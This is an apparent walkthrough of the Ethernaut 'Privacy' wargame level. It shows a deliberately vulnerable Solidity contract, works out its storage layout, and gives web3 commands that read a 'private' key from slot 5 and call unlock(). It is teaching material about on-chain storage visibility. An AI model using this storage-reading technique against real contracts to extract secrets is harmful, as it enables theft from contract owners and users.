Page cover image

Privacy

storage

Description

The creator of this contract was careful enough to protect the sensitive areas of its storage.

Unlock this contract to beat the level.

Things that might help:

  • Understanding how storage works

  • Understanding how parameter parsing works

  • Understanding how casting works

Tips:

  • Remember that metamask is just a commodity. Use another tool if it is presenting problems. Advanced gameplay could involve using remix, or your own web3 provider.

Background Knowledge

Storage

Understanding Ethereum Smart Contract Storage

Code Audit

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Privacy {

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  constructor(bytes32[3] memory _data) public {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

This function is crucial:

  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

The key is stored at data[2]. Note that:

  1. Private state variables in Solidity aren't really private.

  2. We need to figure out the storage layout to read the key.

Solution

Recall that:

  • Each "slot" in Solidity is 32-byte long. Slots start from index 0.

  • If a slot is not filled up by a variable, the next variable will be stored in the same slot if it fits the remaining room.

  • uint256 means uint of 256-bit, which is 32-byte.

  • uint8 is just 1-byte.

  • uint16 is 2-byte.

  • bytes32 is 32-byte. bytes32[3] is a 3-element array where each element is 32-byte.

Start counting:

// slot 0
bool public locked = true;
// slot 1
uint256 public ID = block.timestamp;
// slot 2 part a
uint8 private flattening = 10;
// slot 2 part b
uint8 private denomination = 255;
// slot 2 part c
uint16 private awkwardness = uint16(now);
// slot 3, 4, and 5 => key is at slot 5
bytes32[3] private data;

Enumerate slot 5:

await web3.eth.getStorageAt(contract.address, 5)

// 0xd58c35f60b37280af2422fe07e168a4b62ebc3aa11555fe33539fba0633c6e6f

Recall that in the contract the key was truncated into 16-byte:

require(_key == bytes16(data[2]));

Here bytes16() keeps the first 16 bytes and throws away the rest. Use slice() trick to get the first 16 bytes of the key (including the 0x prefix):

key = await web3.eth.getStorageAt(contract.address, 5)
key.slice(0, 34)

// 0xd58c35f60b37280af2422fe07e168a4b

Call the unlock() function:

_key = key.slice(0, 34)
await contract.unlock(_key)

Verify if the contract is unlocked now:

await contract.locked()

// false

Summary

Nothing in the ethereum blockchain is private. The keyword private is merely an artificial construct of the Solidity language. Web3's getStorageAt(...) can be used to read anything from storage. It can be tricky to read what you want though, since several optimization rules and techniques are used to compact the storage as much as possible.

It can't get much more complicated than what was exposed in this level. For more, check out this excellent article by "Darius": How to read Ethereum contract storage

Last updated